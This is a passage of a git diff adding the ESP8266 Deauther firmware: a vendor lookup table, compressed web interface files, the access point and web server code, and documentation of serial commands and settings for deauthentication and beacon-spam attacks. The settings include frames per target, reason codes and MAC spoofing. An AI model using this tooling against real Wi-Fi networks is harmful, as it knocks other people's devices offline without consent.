Based on Wireshark manufacturer database + source: https://www.wireshark.org/tools/oui-lookup.html + Wireshark is released under the GNU General Public License version 2 +*/ + +#define ENABLE_MAC_LIST // comment out if you want to save memory + +const static uint8_t data_vendors[] PROGMEM = { +#ifdef ENABLE_MAC_LIST +0x30, 0x30, 0x3a, 0x30, 0x30, 0x3a, 0x30, 0x30, +0x58, 0x65, 0x72, 0x6f, 0x78, 0x00, 0x00, 0x00, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x70, 0x69, 0x70, +0x4f, 0x6d, 0x72, 0x6f, 0x6e, 0x54, 0x61, 0x74, +0x4d, 0x61, 0x74, 0x72, 0x69, 0x78, 0x00, 0x00, +0x43, 0x69, 0x73, 0x63, 0x6f, 0x00, 0x00, 0x00, +0x46, 0x69, 0x62, 0x72, 0x6f, 0x6e, 0x69, 0x63, +0x46, 0x75, 0x6a, 0x69, 0x74, 0x73, 0x75, 0x00, +0x4e, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x00, +0x53, 0x79, 0x74, 0x65, 0x6b, 0x00, 0x00, 0x00, +0x4e, 0x6f, 0x72, 0x6d, 0x65, 0x72, 0x65, 0x6c, +0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, +0x43, 0x61, 0x6d, 0x65, 0x78, 0x00, 0x00, 0x00, +0x4e, 0x65, 0x74, 0x72, 0x6f, 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index 0000000..1be80dd --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/webfiles.h @@ -0,0 +1,65 @@ +#ifndef webfiles_h +#define webfiles_h + +// comment that out if you want to save program memory and know how to upload the web files to the SPIFFS manually +#define USE_PROGMEM_WEB_FILES + +#ifdef USE_PROGMEM_WEB_FILES +const char attackhtml[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb6, 0x41, 0xf9, 0x5b, 0x02, 0xff, 0x61, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x2e, 0x68, 0x74, 0x6d, 0x6c, 0x00, 0xa5, 0x57, 0x6d, 0x6f, 0xdb, 0x36, 0x10, 0xfe, 0x2b, 0xac, 0xf7, 0xa1, 0x1d, 0x50, 0x5b, 0xb6, 0x0b, 0x14, 0x69, 0x61, 0x1b, 0xe8, 0xeb, 0x16, 0x6c, 0x58, 0x83, 0x25, 0x5b, 0xb1, 0x4f, 0x01, 0x25, 0x9d, 0x2d, 0xd6, 0x34, 0xa9, 0x92, 0x54, 0x3c, 0x03, 0xfb, 0xf1, 0x7b, 0x8e, 0xa4, 0x1c, 0xdb, 0x71, 0xd0, 0x61, 0x05, 0x02, 0x59, 0x22, 0x79, 0x77, 0xcf, 0x3d, 0xf7, 0xc6, 0xcc, 0x9e, 0xbc, 0xb7, 0x55, 0xd8, 0xb5, 0x24, 0x9a, 0xb0, 0xd1, 0x0b, 0x31, 0xdb, 0x50, 0x90, 0xa2, 0x6a, 0xa4, 0xf3, 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0xf0, 0xc7, 0x6e, 0x0a, 0x00, 0x00}; +const char ssidsjs[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb6, 0x41, 0xf9, 0x5b, 0x02, 0xff, 0x73, 0x73, 0x69, 0x64, 0x73, 0x2e, 0x6a, 0x73, 0x00, 0x85, 0x55, 0x6d, 0x6f, 0xda, 0x30, 0x10, 0xfe, 0x0c, 0xbf, 0xc2, 0xf3, 0xa4, 0x91, 0x88, 0x40, 0x81, 0x69, 0xfb, 0x00, 0x84, 0x6a, 0xd3, 0x3a, 0x6d, 0xd5, 0xd6, 0x49, 0xa5, 0x1f, 0x26, 0x31, 0x54, 0x85, 0xd8, 0x80, 0xd7, 0xe0, 0x20, 0x3b, 0xd0, 0x49, 0x15, 0xff, 0x7d, 0x77, 0x76, 0x5e, 0x49, 0x50, 0x11, 0x8a, 0x12, 0xdf, 0xf9, 0xee, 0xb9, 0xf3, 0x73, 0x8f, 0x8f, 0x81, 0x22, 0x5a, 0x0b, 0x76, 0xab, 0x63, 0x49, 0x7c, 0xf2, 0x42, 0x55, 0x20, 0x59, 0xbc, 0xa3, 0xe3, 0x75, 0x10, 0x69, 0xee, 0x51, 0xb4, 0x69, 0x3a, 0x5e, 0x2c, 0x4f, 0x93, 0x76, 0x0b, 0x7e, 0xed, 0xf5, 0x41, 0x86, 0x89, 0x00, 0xe7, 0x28, 0x0e, 0x98, 0xe3, 0xbe, 0xb4, 0x5b, 0x1b, 0x9e, 0x7c, 0x15, 0x11, 0x77, 0xa8, 0x3a, 0xc8, 0xeb, 0x70, 0xc7, 0x7c, 0x1d, 0x1c, 0x39, 0xb1, 0x1b, 0x3d, 0x92, 0xf9, 0x1b, 0xd7, 0xc2, 0xd7, 0x98, 0xfb, 0x7f, 0x21, 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0x98, 0xe2, 0x5c, 0x51, 0xe2, 0x1b, 0x96, 0xf8, 0x92, 0x11, 0xb4, 0x2e, 0x81, 0x08, 0xaf, 0x50, 0x52, 0x54, 0x04, 0xb6, 0x10, 0x2a, 0x9d, 0xe3, 0x91, 0x4f, 0x65, 0x2e, 0xeb, 0x4d, 0xc2, 0x66, 0xb2, 0x2e, 0x08, 0x73, 0x56, 0x2a, 0xe0, 0xb0, 0xe4, 0xaa, 0x96, 0xe9, 0x2a, 0xe7, 0x0a, 0x96, 0x2b, 0xb5, 0x2c, 0x2b, 0x81, 0xf4, 0x19, 0xc2, 0x16, 0xb2, 0x98, 0x29, 0x64, 0x11, 0x0b, 0x51, 0xd4, 0xf7, 0xc8, 0x8a, 0x35, 0x10, 0x4f, 0x78, 0x80, 0x6a, 0xce, 0xf3, 0x9c, 0xa8, 0x18, 0x5f, 0xa1, 0x7a, 0x45, 0xfa, 0x20, 0x2d, 0x97, 0x1b, 0x25, 0x1f, 0xe6, 0x35, 0xcc, 0xcb, 0x3c, 0x13, 0x58, 0x9c, 0x0a, 0x54, 0xc6, 0xa7, 0xb9, 0xb8, 0x50, 0xa1, 0xa9, 0x34, 0xe7, 0x72, 0x91, 0x40, 0xc6, 0x17, 0xfc, 0x41, 0x8c, 0x53, 0x25, 0xa2, 0x28, 0x46, 0x6d, 0x17, 0x75, 0xb0, 0x9e, 0x0b, 0x2a, 0x11, 0x1f, 0xc7, 0x2f, 0xad, 0x65, 0x59, 0x90, 0x8d, 0xb4, 0x2c, 0x6a, 0x85, 0xc7, 0x04, 0x5d, 0xaa, 0xfa, 0x7d, 0x74, 0x2d, 0x2b, 0x91, 0x00, 0x57, 0xb2, 0xa2, 0x40, 0x66, 0xaa, 0x5c, 0x24, 0x8c, 0xe2, 0xc4, 0x89, 0x72, 0x04, 0xc1, 0xb9, 0x42, 0x5c, 0x50, 0x28, 0x6a, 0xf8, 0xb2, 0x11, 0x6c, 0xa1, 0xf3, 0xaa, 0x12, 0xef, 0x80, 0x90, 0x09, 0x9e, 0x23, 0x56, 0x45, 0xc3, 0x64, 0xf1, 0xad, 0xf9, 0x9e, 0xfd, 0x07, 0x37, 0x1d, 0x4f, 0xe3, 0x76, 0x04, 0x00, 0x00}; +#endif + +void copyWebFiles(bool force){ +#ifdef USE_PROGMEM_WEB_FILES +if(settings.getWebSpiffs()){ + if(!SPIFFS.exists(String(F("/web/attack.html.gz"))) || force) progmemToSpiffs(attackhtml, sizeof(attackhtml), String(F("/web/attack.html.gz"))); + if(!SPIFFS.exists(String(F("/web/index.html.gz"))) || force) progmemToSpiffs(indexhtml, sizeof(indexhtml), String(F("/web/index.html.gz"))); + if(!SPIFFS.exists(String(F("/web/info.html.gz"))) || force) progmemToSpiffs(infohtml, sizeof(infohtml), String(F("/web/info.html.gz"))); + if(!SPIFFS.exists(String(F("/web/scan.html.gz"))) || force) progmemToSpiffs(scanhtml, sizeof(scanhtml), String(F("/web/scan.html.gz"))); + if(!SPIFFS.exists(String(F("/web/settings.html.gz"))) || force) progmemToSpiffs(settingshtml, sizeof(settingshtml), String(F("/web/settings.html.gz"))); + if(!SPIFFS.exists(String(F("/web/ssids.html.gz"))) || force) progmemToSpiffs(ssidshtml, sizeof(ssidshtml), String(F("/web/ssids.html.gz"))); + if(!SPIFFS.exists(String(F("/web/style.css.gz"))) || force) progmemToSpiffs(stylecss, sizeof(stylecss), String(F("/web/style.css.gz"))); + if(!SPIFFS.exists(String(F("/web/js/attack.js.gz"))) || force) progmemToSpiffs(attackjs, sizeof(attackjs), String(F("/web/js/attack.js.gz"))); + if(!SPIFFS.exists(String(F("/web/js/scan.js.gz"))) || force) progmemToSpiffs(scanjs, sizeof(scanjs), String(F("/web/js/scan.js.gz"))); + if(!SPIFFS.exists(String(F("/web/js/settings.js.gz"))) || force) progmemToSpiffs(settingsjs, sizeof(settingsjs), String(F("/web/js/settings.js.gz"))); + if(!SPIFFS.exists(String(F("/web/js/site.js.gz"))) || force) progmemToSpiffs(sitejs, sizeof(sitejs), String(F("/web/js/site.js.gz"))); + if(!SPIFFS.exists(String(F("/web/js/ssids.js.gz"))) || force) progmemToSpiffs(ssidsjs, sizeof(ssidsjs), String(F("/web/js/ssids.js.gz"))); + if(!SPIFFS.exists(String(F("/web/lang/cn.lang.gz"))) || force) progmemToSpiffs(cnlang, sizeof(cnlang), String(F("/web/lang/cn.lang.gz"))); + if(!SPIFFS.exists(String(F("/web/lang/cs.lang.gz"))) || force) progmemToSpiffs(cslang, sizeof(cslang), String(F("/web/lang/cs.lang.gz"))); + if(!SPIFFS.exists(String(F("/web/lang/de.lang.gz"))) || force) progmemToSpiffs(delang, sizeof(delang), String(F("/web/lang/de.lang.gz"))); + if(!SPIFFS.exists(String(F("/web/lang/en.lang.gz"))) || force) progmemToSpiffs(enlang, sizeof(enlang), String(F("/web/lang/en.lang.gz"))); + if(!SPIFFS.exists(String(F("/web/lang/es.lang.gz"))) || force) progmemToSpiffs(eslang, sizeof(eslang), String(F("/web/lang/es.lang.gz"))); + if(!SPIFFS.exists(String(F("/web/lang/fi.lang.gz"))) || force) progmemToSpiffs(filang, sizeof(filang), String(F("/web/lang/fi.lang.gz"))); + if(!SPIFFS.exists(String(F("/web/lang/fr.lang.gz"))) || force) progmemToSpiffs(frlang, sizeof(frlang), String(F("/web/lang/fr.lang.gz"))); + if(!SPIFFS.exists(String(F("/web/lang/it.lang.gz"))) || force) progmemToSpiffs(itlang, sizeof(itlang), String(F("/web/lang/it.lang.gz"))); + if(!SPIFFS.exists(String(F("/web/lang/ro.lang.gz"))) || force) progmemToSpiffs(rolang, sizeof(rolang), String(F("/web/lang/ro.lang.gz"))); + if(!SPIFFS.exists(String(F("/web/lang/ru.lang.gz"))) || force) progmemToSpiffs(rulang, sizeof(rulang), String(F("/web/lang/ru.lang.gz"))); + if(!SPIFFS.exists(String(F("/web/lang/tlh.lang.gz"))) || force) progmemToSpiffs(tlhlang, sizeof(tlhlang), String(F("/web/lang/tlh.lang.gz"))); + if(!SPIFFS.exists(String(F("/web/LICENSE.gz"))) || force) progmemToSpiffs(LICENSE, sizeof(LICENSE), String(F("/web/LICENSE.gz"))); +} +#endif +} + +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/wifi.h b/enp8266/esp8266_deauther-master/esp8266_deauther/wifi.h new file mode 100755 index 0000000..58accf4 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/wifi.h @@ -0,0 +1,410 @@ +#ifndef WifiManager_h +#define WifiManager_h + +#include "Arduino.h" +#include +#include +#include +#include +#include +#include +extern "C" { +#include "user_interface.h" +} + +#define WIFI_MODE_OFF 0 +#define WIFI_MODE_AP 1 +#define WIFI_MODE_STATION 2 + +/* + This file contains all necessary functions for hosting and connecting to an access point. + For compatibility and simplicity, all those functions are global. + */ + +// Important strings +const char W_DEAUTHER[] PROGMEM = "deauth.me"; // captive portal domain (alternative to 192.168.4.1) +const char W_WEBINTERFACE[] PROGMEM = "/web"; // default folder containing the web files +const char W_ERROR_PASSWORD[] PROGMEM = "ERROR: Password must have at least 8 characters!"; +const char W_DEFAULT_LANG[] PROGMEM = "/lang/default.lang"; + +const char W_HTML[] PROGMEM = "text/html"; +const char W_CSS[] PROGMEM = "text/css"; +const char W_JS[] PROGMEM = "application/javascript"; +const char W_PNG[] PROGMEM = "image/png"; +const char W_GIF[] PROGMEM = "image/gif"; +const char W_JPG[] PROGMEM = "image/jpeg"; +const char W_ICON[] PROGMEM = "image/x-icon"; +const char W_XML[] PROGMEM = "text/xml"; +const char W_XPDF[] PROGMEM = "application/x-pdf"; +const char W_XZIP[] PROGMEM = "application/x-zip"; +const char W_GZIP[] PROGMEM = "application/x-gzip"; +const char W_JSON[] PROGMEM = "application/json"; +const char W_TXT[] PROGMEM = "text/plain"; + +const char W_DOT_HTM[] PROGMEM = ".htm"; +const char W_DOT_HTML[] PROGMEM = ".html"; +const char W_DOT_CSS[] PROGMEM = ".css"; +const char W_DOT_JS[] PROGMEM = ".js"; +const char W_DOT_PNG[] PROGMEM = ".png"; +const char W_DOT_GIF[] PROGMEM = ".gif"; +const char W_DOT_JPG[] PROGMEM = ".jpg"; +const char W_DOT_ICON[] PROGMEM = ".ico"; +const char W_DOT_XML[] PROGMEM = ".xml"; +const char W_DOT_PDF[] PROGMEM = ".pdf"; +const char W_DOT_ZIP[] PROGMEM = ".zip"; +const char W_DOT_GZIP[] PROGMEM = ".gz"; +const char W_DOT_JSON[] PROGMEM = ".json"; + +// Server and other global objects +ESP8266WebServer server(80); +DNSServer dnsServer; +IPAddress apIP(192, 168, 4, 1); +IPAddress netMsk(255, 255, 255, 0); +File fsUploadFile; + +// current WiFi mode and config +uint8_t wifiMode = WIFI_MODE_OFF; + +bool wifi_config_hidden = false; +bool wifi_config_captivePortal = false; +String wifi_config_ssid; +String wifi_config_password; +String wifi_config_path; + +void stopAP() { + if (wifiMode == WIFI_MODE_AP) { + wifi_promiscuous_enable(0); + WiFi.persistent(false); + WiFi.disconnect(true); + wifi_set_opmode(STATION_MODE); + prntln(W_STOPPED_AP); + wifiMode = WIFI_MODE_STATION; + } +} + +void wifiUpdate() { + if ((wifiMode != WIFI_MODE_OFF) && !scan.isScanning()) { + server.handleClient(); + dnsServer.processNextRequest(); + } +} + +String getWifiMode() { + switch (wifiMode) { + case WIFI_MODE_OFF: + return W_MODE_OFF; + + break; + + case WIFI_MODE_AP: + return W_MODE_AP; + + break; + + case WIFI_MODE_STATION: + return W_MODE_ST; + + break; + + default: + return String(); + } +} + +String getContentType(String filename) { + if (server.hasArg("download")) return String(F("application/octet-stream")); + else if (filename.endsWith(str(W_DOT_GZIP))) filename = filename.substring(0, filename.length() - 3); + else if (filename.endsWith(str(W_DOT_HTM))) return str(W_HTML); + else if (filename.endsWith(str(W_DOT_HTML))) return str(W_HTML); + else if (filename.endsWith(str(W_DOT_CSS))) return str(W_CSS); + else if (filename.endsWith(str(W_DOT_JS))) return str(W_JS); + else if (filename.endsWith(str(W_DOT_PNG))) return str(W_PNG); + else if (filename.endsWith(str(W_DOT_GIF))) return str(W_GIF); + else if (filename.endsWith(str(W_DOT_JPG))) return str(W_JPG); + else if (filename.endsWith(str(W_DOT_ICON))) return str(W_ICON); + else if (filename.endsWith(str(W_DOT_XML))) return str(W_XML); + else if (filename.endsWith(str(W_DOT_PDF))) return str(W_XPDF); + else if (filename.endsWith(str(W_DOT_ZIP))) return str(W_XZIP); + else if (filename.endsWith(str(W_DOT_JSON))) return str(W_JSON); + else return str(W_TXT); +} + +bool handleFileRead(String path) { + //prnt(W_AP_REQUEST); + //prnt(path); + + if (!path.charAt(0) == SLASH) path = String(SLASH) + path; + + if (path.charAt(path.length() - 1) == SLASH) path += String(F("index.html")); + + String contentType = getContentType(path); + + if (!SPIFFS.exists(path)) { + if (SPIFFS.exists(path + str(W_DOT_GZIP))) path += str(W_DOT_GZIP); + else if (SPIFFS.exists(wifi_config_path + path)) path = wifi_config_path + path; + else if (SPIFFS.exists(wifi_config_path + path + str(W_DOT_GZIP))) path = wifi_config_path + path + str( + W_DOT_GZIP); + else { + // prntln(W_NOT_FOUND); + return false; + } + } + + File file = SPIFFS.open(path, "r"); + server.streamFile(file, contentType); + file.close(); + //prnt(SPACE); + //prntln(W_OK); + + return true; +} + +void handleFileList() { + if (!server.hasArg("dir")) { + server.send(500, str(W_TXT), str(W_BAD_ARGS)); + return; + } + + String path = server.arg("dir"); + // Serial.println("handleFileList: " + path); + Dir dir = SPIFFS.openDir(path); + + String output = String(OPEN_BRACKET); // { + File entry; + bool first = true; + + while (dir.next()) { + entry = dir.openFile("r"); + + if (first) first = false; + else output += COMMA; // , + + output += OPEN_BRACKET; // [ + output += String(DOUBLEQUOTES) + entry.name() + String(DOUBLEQUOTES); // "filename" + output += CLOSE_BRACKET; // ] + + entry.close(); + } + + output += CLOSE_BRACKET; + server.send(200, str(W_JSON).c_str(), output); +} + +void sendProgmem(const char* ptr, size_t size, const char* type) { + server.sendHeader("Content-Encoding", "gzip"); + server.sendHeader("Cache-Control", "max-age=86400"); + server.send_P(200, str(type).c_str(), ptr, size); +} + +// path = folder of web files, ssid = name of network, password = password ("0" => no password), hidden = if the network +// is visible, captivePortal = enable a captive portal +void startAP(String path, String ssid, String password, uint8_t ch, bool hidden, bool captivePortal) { + if (password.length() < 8) { + prntln(W_ERROR_PASSWORD); + return; + } + + if (!path.charAt(0) == SLASH) path = String(SLASH) + path; + + if (password == String(ZERO)) password = String(NEWLINE); + + wifi_config_path = path; + wifi_config_ssid = ssid; + wifi_config_password = password; + setWifiChannel(ch); + wifi_config_hidden = hidden; + wifi_config_captivePortal = captivePortal; + + WiFi.softAPConfig(apIP, apIP, netMsk); + WiFi.softAP(ssid.c_str(), password.c_str(), wifi_channel, hidden); + + dnsServer.setErrorReplyCode(DNSReplyCode::NoError); + dnsServer.start(53, String(ASTERIX), apIP); + + MDNS.begin(str(W_DEAUTHER).c_str()); + + server.on(String(F("/list")).c_str(), HTTP_GET, handleFileList); // list directory + + + // ================================================================ + // post here the output of the webConverter.py +#ifdef USE_PROGMEM_WEB_FILES + if (!settings.getWebSpiffs()) { + server.on(String(SLASH).c_str(), HTTP_GET, []() { + sendProgmem(indexhtml, sizeof(indexhtml), W_HTML); + }); + server.on(String(F("/attack.html")).c_str(), HTTP_GET, []() { + sendProgmem(attackhtml, sizeof(attackhtml), W_HTML); + }); + server.on(String(F("/index.html")).c_str(), HTTP_GET, []() { + sendProgmem(indexhtml, sizeof(indexhtml), W_HTML); + }); + server.on(String(F("/info.html")).c_str(), HTTP_GET, []() { + sendProgmem(infohtml, sizeof(infohtml), W_HTML); + }); + server.on(String(F("/scan.html")).c_str(), HTTP_GET, []() { + sendProgmem(scanhtml, sizeof(scanhtml), W_HTML); + }); + server.on(String(F("/settings.html")).c_str(), HTTP_GET, []() { + sendProgmem(settingshtml, sizeof(settingshtml), W_HTML); + }); + server.on(String(F("/ssids.html")).c_str(), HTTP_GET, []() { + sendProgmem(ssidshtml, sizeof(ssidshtml), W_HTML); + }); + server.on(String(F("/style.css")).c_str(), HTTP_GET, []() { + sendProgmem(stylecss, sizeof(stylecss), W_CSS); + }); + server.on(String(F("/js/attack.js")).c_str(), HTTP_GET, []() { + sendProgmem(attackjs, sizeof(attackjs), W_JS); + }); + server.on(String(F("/js/scan.js")).c_str(), HTTP_GET, []() { + sendProgmem(scanjs, sizeof(scanjs), W_JS); + }); + server.on(String(F("/js/settings.js")).c_str(), HTTP_GET, []() { + sendProgmem(settingsjs, sizeof(settingsjs), W_JS); + }); + server.on(String(F("/js/site.js")).c_str(), HTTP_GET, []() { + sendProgmem(sitejs, sizeof(sitejs), W_JS); + }); + server.on(String(F("/js/ssids.js")).c_str(), HTTP_GET, []() { + sendProgmem(ssidsjs, sizeof(ssidsjs), W_JS); + }); + server.on(String(F("/lang/cn.lang")).c_str(), HTTP_GET, []() { + sendProgmem(cnlang, sizeof(cnlang), W_JSON); + }); + server.on(String(F("/lang/cs.lang")).c_str(), HTTP_GET, []() { + sendProgmem(cslang, sizeof(cslang), W_JSON); + }); + server.on(String(F("/lang/de.lang")).c_str(), HTTP_GET, []() { + sendProgmem(delang, sizeof(delang), W_JSON); + }); + server.on(String(F("/lang/en.lang")).c_str(), HTTP_GET, []() { + sendProgmem(enlang, sizeof(enlang), W_JSON); + }); + server.on(String(F("/lang/es.lang")).c_str(), HTTP_GET, []() { + sendProgmem(eslang, sizeof(eslang), W_JSON); + }); + server.on(String(F("/lang/fi.lang")).c_str(), HTTP_GET, []() { + sendProgmem(filang, sizeof(filang), W_JSON); + }); + server.on(String(F("/lang/fr.lang")).c_str(), HTTP_GET, []() { + sendProgmem(frlang, sizeof(frlang), W_JSON); + }); + server.on(String(F("/lang/it.lang")).c_str(), HTTP_GET, []() { + sendProgmem(itlang, sizeof(itlang), W_JSON); + }); + server.on(String(F("/lang/ru.lang")).c_str(), HTTP_GET, []() { + sendProgmem(rulang, sizeof(rulang), W_JSON); + }); + server.on(String(F("/lang/tlh.lang")).c_str(), HTTP_GET, []() { + sendProgmem(tlhlang, sizeof(tlhlang), W_JSON); + }); + } + server.on(str(W_DEFAULT_LANG).c_str(), HTTP_GET, []() { + if (!settings.getWebSpiffs()) { + if (settings.getLang() == String(F("cn"))) sendProgmem(cnlang, sizeof(cnlang), W_JSON); + else if (settings.getLang() == String(F("cs"))) sendProgmem(cslang, sizeof(cslang), W_JSON); + else if (settings.getLang() == String(F("de"))) sendProgmem(delang, sizeof(delang), W_JSON); + else if (settings.getLang() == String(F("en"))) sendProgmem(enlang, sizeof(enlang), W_JSON); + else if (settings.getLang() == String(F("es"))) sendProgmem(eslang, sizeof(eslang), W_JSON); + else if (settings.getLang() == String(F("fi"))) sendProgmem(filang, sizeof(filang), W_JSON); + else if (settings.getLang() == String(F("fr"))) sendProgmem(frlang, sizeof(frlang), W_JSON); + else if (settings.getLang() == String(F("it"))) sendProgmem(itlang, sizeof(itlang), W_JSON); + else if (settings.getLang() == String(F("ru"))) sendProgmem(rulang, sizeof(rulang), W_JSON); + else if (settings.getLang() == String(F("tlh"))) sendProgmem(tlhlang, sizeof(tlhlang), W_JSON); + + else handleFileRead(String(F("/web/lang/")) + settings.getLang() + String(F(".lang"))); + } else { + handleFileRead(String(F("/web/lang/")) + settings.getLang() + String(F(".lang"))); + } + }); +#endif + // ================================================================ + + server.on(String(F("/run")).c_str(), HTTP_GET, []() { + server.send(200, str(W_TXT), str(W_OK).c_str()); + String input = server.arg("cmd"); + cli.exec(input); + }); + + server.on(String(F("/attack.json")).c_str(), HTTP_GET, []() { + server.send(200, str(W_JSON), attack.getStatusJSON()); + }); + + // aggressively caching static assets + server.serveStatic("/js", SPIFFS, String(wifi_config_path + "/js").c_str(), "max-age=86400"); + + // called when the url is not defined here + // use it to load content from SPIFFS + server.onNotFound([]() { + if (!handleFileRead(server.uri())) { + server.send(404, str(W_TXT), str(W_FILE_NOT_FOUND)); + } + }); + + server.begin(); + wifiMode = WIFI_MODE_AP; + + prntln(W_STARTED_AP); + printWifiStatus(); +} + +void printWifiStatus() { + prnt(String(F("[WiFi] Path: '"))); + prnt(wifi_config_path); + prnt(String(F("', Mode: '"))); + + switch (wifiMode) { + case WIFI_MODE_OFF: + prnt(W_MODE_OFF); + break; + + case WIFI_MODE_AP: + prnt(W_AP); + break; + + case WIFI_MODE_STATION: + prnt(W_STATION); + break; + } + prnt(String(F("', SSID: '"))); + prnt(wifi_config_ssid); + prnt(String(F("', password: '"))); + prnt(wifi_config_password); + prnt(String(F("', channel: '"))); + prnt(wifi_channel); + prnt(String(F("', hidden: "))); + prnt(b2s(wifi_config_hidden)); + prnt(String(F(", captive-portal: "))); + prntln(b2s(wifi_config_captivePortal)); +} + +void startAP() { + startAP(wifi_config_path.c_str(), wifi_config_ssid.c_str(), + wifi_config_password.c_str(), wifi_channel, wifi_config_hidden, wifi_config_captivePortal); +} + +void startAP(String path) { + wifi_config_path = path; + startAP(); +} + +void loadWifiConfigDefaults() { + wifi_config_hidden = settings.getHidden(); + wifi_config_ssid = settings.getSSID(); + wifi_config_password = settings.getPassword(); + wifi_config_captivePortal = settings.getCaptivePortal(); + wifi_config_path = str(W_WEBINTERFACE); +} + +void resumeAP() { + if (wifiMode != WIFI_MODE_AP) { + wifiMode = WIFI_MODE_AP; + wifi_promiscuous_enable(0); + WiFi.softAPConfig(apIP, apIP, netMsk); + WiFi.softAP(wifi_config_ssid.c_str(), wifi_config_password.c_str(), wifi_channel, wifi_config_hidden); + prntln(W_STARTED_AP); + } +} + +#endif // ifndef WifiManager_h diff --git a/enp8266/esp8266_deauther-master/serialcommands.md b/enp8266/esp8266_deauther-master/serialcommands.md new file mode 100755 index 0000000..fa3533b --- /dev/null +++ b/enp8266/esp8266_deauther-master/serialcommands.md @@ -0,0 +1,343 @@ +# Serial Commands + +**Overview:** +- [`help`](#help) +- [`scan [] [-t `](#screen) +## Video Overview + +[![@PwnKitteh made this video about deauther 2.0 serial commands. ](https://img.youtube.com/vi/wJu7lgqelZM/0.jpg)](https://www.youtube.com/watch?v=wJu7lgqelZM) + + +## HELP +`help` +Prints out list with all commands. + +## SCAN +`scan [] [-t ` +Changes display mode. +- **menu**: default mode when using the display interface +- **packetmonitor**: draws packet graph (will only work when you're scanning at the same time) +- **buttontest**: special mode for testing the buttons +- **loading**: loading screen that is normally used when starting a scan over the display menu diff --git a/enp8266/esp8266_deauther-master/settings.md b/enp8266/esp8266_deauther-master/settings.md new file mode 100755 index 0000000..ded2048 --- /dev/null +++ b/enp8266/esp8266_deauther-master/settings.md @@ -0,0 +1,166 @@ +# Settings + +**Overview** + - [`version`](#version) + - [`ssid`](#ssid) + - [`password`](#password) + - [`channel`](#channel) + - [`hidden`](#hidden) + - [`captivePortal`](#captiveportal) + - [`lang`](#lang) + - [`autosave`](#autosave) + - [`autosaveTime`](#autosave-time) + - [`displayInterface`](#display-interface) + - [`displayTimeout`](#displaytimeout) + - [`serialInterface`](#serial-interface) + - [`serialEcho`](#serial-echo) + - [`webInterface`](#web-interface) + - [`webSpiffs`](#web-spiffs) + - [`ledEnabled`](#ledEnabled) + - [`maxCh`](#max-ch) + - [`macAP`](#macap) + - [`macSt`](#macst) + - [`chTime`](#ch-time) + - [`minDeauths`](#mindeauths) + - [`attackTimeout`](#attacktimeout) + - [`forcePackets`](#force-packets) + - [`deauthsPerTarget`](#deauths-per-target) + - [`deauthReason`](#deauth-reason) + - [`beaconChannel`](#beacon-channel) + - [`beaconInterval`](#beacon-interval) + - [`randomTx`](#randomtx) + - [`probesPerSSID`](#probesperssid) + +## VERSION +`String version = VERSION;` +Version number, i.e. `v2.0`. +**PLEASE NOTE** that this setting can only be changed in the source code. + +## SSID +`String ssid = "pwned";` +SSID of access point used for the web interface (if enabled). +The length must be between 1 and 31 characters. + +## PASSWORD +`String password = "deauther";` +Password of access point used for the web interface (if enabled). +The length must be between 8 and 31 characters. + +## CHANNEL +`uint8_t channel = 1;` +Default WiFi channel that is used when starting. + +## HIDDEN +`bool hidden = false` +Hides the access point that is used for the web interface (if enabled). + +## CAPTIVEPORTAL +`bool captivePortal = true;` +Enables captive portal for access point (if enabled). + +## LANG +`String lang = "en";` +Default language for the web interface. +Be sure the language file exists! + +## AUTOSAVE +`bool autosave = true;` +Enables automatic saving of SSIDs, device names and settings. + +## AUTOSAVE-TIME +`uint32_t autosaveTime = 30000;` +Time interval for automatic saving in milliseconds. + +## DISPLAY-INTERFACE +`bool displayInterface = false;` +Enables display interface. + +## DISPLAYTIMEOUT +`uint32_t displayTimeout = 600` +Time in seconds after which the display turns off when inactive. +To disable the display timeout, set it to 0. + +## SERIAL-INTERFACE +`bool serialInterface = true;` +Enables serial interface. + +## SERIAL-ECHO +`bool serialEcho = true` +Enables echo for each incoming message over serial. + +## WEB-INTERFACE +`bool webInterface = false;` +Enables web interface. + +## WEB-SPIFFS +`bool webSpiffs = false` +Enables SPIFFS for all web files. +Can lead to longer loading times but it nice if you need to edit the web files regularly. + +## LEDENABLED +`bool ledEnabled = true` +Enables the (RGB) LED feature. + +## MAX-CH +`uint8_t maxCh = 13;` +Max channel to scan on. +US = 11, EU = 13, Japan = 14. +For more information click [here](https://en.wikipedia.org/wiki/List_of_WLAN_channels). + +## MACAP +`uint8_t* macAP;` +Mac address used for the access point mode. +Please note that the mac address will only replace the internal mac address when the accesspoint mode is enabled. +You can set a random mac address with `set macap random`. + +## MACST +`uint8_t* macSt;` +Mac address used for the station mode. +Please note that the mac address will only replace the internal mac address when the station mode is enabled. +You can set a random mac address with `set macst random`. + +## CH-TIME +`uint16_t chTime = 384;` +Time for scanning one channel before going to the next in milliseconds (only if channel hopping is enabled). + +## MINDEAUTHS +`uint16_t minDeauths = 3` +Minimum number of deauthentication frames when scanning to change the LED to deauth mode. + +## ATTACKTIMEOUT +`uint32_t attackTimeout = 600` +After what amount of time (in seconds) the attack will stop automatically. +Set it to 0 to disable it. + +## FORCE-PACKETS +`uint8_t forcePackets = 1;` +How many attempts to send out a packet. +Set this value higher if you want to achieve a better packet rate in a busy area. +Be careful this setting could make the device slower or more unstable. +**Max value is 255**. + +## DEAUTHS-PER-TARGET +`uint16_t deauthsPerTarget = 10;` +How many deauthentication and disassociation frames are sent out for each target. + +## DEAUTH-REASON +`uint8_t deauthReason = 1;` +The [reason code](https://www.cisco.com/assets/sol/sb/WAP371_Emulators/WAP371_Emulator_v1-0-1-5/help/Apx_ReasonCodes2.html) that is sent with the deauth frames to tell the target device why the connection will be closed. + +## BEACON-CHANNEL +`bool beaconChannel = false;` +If enabled, will sent all beacon and probe frames on different channels when running a beacon attack. + +## BEACON-INTERVAL +`bool beaconInterval = false;` +If set true, beacons will be sent out every second. If set to false, the interval will be 100ms. +A longer interval means more stability and less spamming of packets, but it could take longer +until the clients find the ssids when scanning. + +## RANDOMTX +`bool randomTX = false` +Enables randomized transmission power for sending out beacon and probe request frames. 